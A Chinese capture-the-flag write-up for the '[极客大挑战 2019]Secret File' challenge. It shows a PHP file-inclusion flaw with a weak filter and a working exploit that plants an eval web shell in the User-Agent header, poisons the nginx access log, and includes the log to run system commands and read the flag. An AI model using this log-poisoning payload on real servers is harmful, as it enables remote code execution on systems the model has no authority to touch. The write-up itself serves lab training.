极客大挑战 2019 Secret File
# [极客大挑战 2019]Secret File
打开f12调试工具,看到页面源码存在文件Archive_room.php
文件,访问
在Archive_room.php
里的按钮点击后,跳转到了end.php。在调试工具网络里可以看到,这个过程请求了action.php
,但是又跳到end.php
了
一时手足无措了。看了大佬思路,发现可以bp抓包看这个过程的action.php,又学到了
抓包可以看到action.php
页面有提示文件secr3t.php
文件
访问secr3t.php,页面源码
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
1
2
3
4
5
6
7
8
9
10
11
2
3
4
5
6
7
8
9
10
11
一个简单的文件包含,但是过滤了../
、tp
、input
、data
,。还可以包含日志,那就试试。注意日志包含写木马不能有错误,有错误日志就不能用了,只能重新开容器
UA(user-agent):<?php highlight_file(__FILE__);eval($_GET[1]);?>
payload:?file=/var/log/nginx/access.log&1=system('tac flag.php');
编辑 (opens new window)
最后一次更新于: 2025/01/19, 23:04:33